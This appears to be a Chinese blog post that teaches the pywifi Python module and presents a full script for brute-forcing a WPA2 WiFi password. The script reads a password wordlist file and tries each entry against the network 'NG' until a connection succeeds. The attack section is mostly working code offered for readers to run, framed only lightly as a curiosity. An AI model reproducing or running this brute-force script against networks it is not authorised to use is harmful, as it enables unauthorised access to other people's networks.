暴力破解WiFi密码python实现pywifi

最近在B站上看到了一个有意思的wifi密码破解,是暴力破解方法,虽然没啥用,不过也能用它来做自动化来对笔记本上的WiFi网卡进行一些管理

认识pywifi模块

import pywifi
from pywifi import const  #应用一些常量模块
#创建一个无线对象
wifi = pywifi.PyWiFi()
#收获第一个无线网卡
ifaces = wifi.interfaces()[0]
#获取到第一个无线网卡
print(ifaces)
print('第一个无线网卡名为:',ifaces.name())
#打印网卡连接状态码
print("状态码为:",ifaces.status())   #连接到wifi,状态码是4,未连接是0
if ifaces.status() == const.IFACE_CONNECTED:   #const.IFACE_CONNECTED为4
    print('wifi已连接')
else:
    print('未连接')

扫描附近的wifi

wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0] #获取第一个无线网卡
#扫描WiFi
ifaces.scan()
#获取扫描结果
result = ifaces.scan_results()
print(result)
for data in result:
    print(data.ssid) #返回附近WiFi名称

进行wifi密码破解

思路:

  1. 导入模块
  2. 抓取网卡接口
  3. 断开wifi接口
  4. 读取密码本
  5. 试密码
  6. 重复3-5直到成功或完全失败
import pywifi
from pywifi import const  #应用一些常量模块
import time
def readPassword(ifaces):
    flag = 0
    print('开始破解:')
    #以读取方式打开密码本文件
    f = open(r"F:\python数据处理案例存放处\pywifi模块的使用与破解wifi密码\密码本.txt","r")

    while True:
        #读取文件错误则跳出本次循环
        try_password = f.readline()
        bool = wificonnect(try_password,ifaces)
        if bool:
            print("密码正确",try_password)
            flag = 1
            break    #结束循环
        else:
            print("密码错误",try_password)

        '''
        except:
            print('错误读取')
            break
        '''
    if flag == 0:
        print('密码本中无有效密码')
    f.close()

#测试连接 返回连接结果            
def wificonnect(try_password,ifaces):
    #获取网卡状态
    wifistatus = ifaces.status()
    #测试是否连接,未连接情况下来破解
    if wifistatus == const.IFACE_DISCONNECTED:  #const.IFACE_DISCONNECTED为0,为未连接时的状态参数
        print('未连接')
        #创建wifi连接文件对象 来进行wifi连接
        profile = pywifi.Profile()
        #给对象要连接wifi的名称
        profile.ssid = "NG"
        #使网卡开放  profile.auth是网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        #设置WIFI的加密算法 一般为AKM_TYPE_WPA2PSK
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #设置文件加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        #密码
        profile.key = try_password
        #删除所有WiFi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        #进行连接
        ifaces.connect(tep_profile)
        #延迟4s作为wifi连接的时间
        time.sleep(4)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print('wifi已连接')

def init():                #初始化设置,返回网卡模块
    #抓取网卡接口
    wifi = pywifi.PyWiFi()
    #获取第一个网卡
    ifaces = wifi.interfaces()[0]
    #断开所有连接
    ifaces.disconnect()
    #设置1s延时
    time.sleep(1)
    return ifaces
    
    
if __name__ == '__main__':
    ifaces = init()
    readPassword(ifaces)

  • 5
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值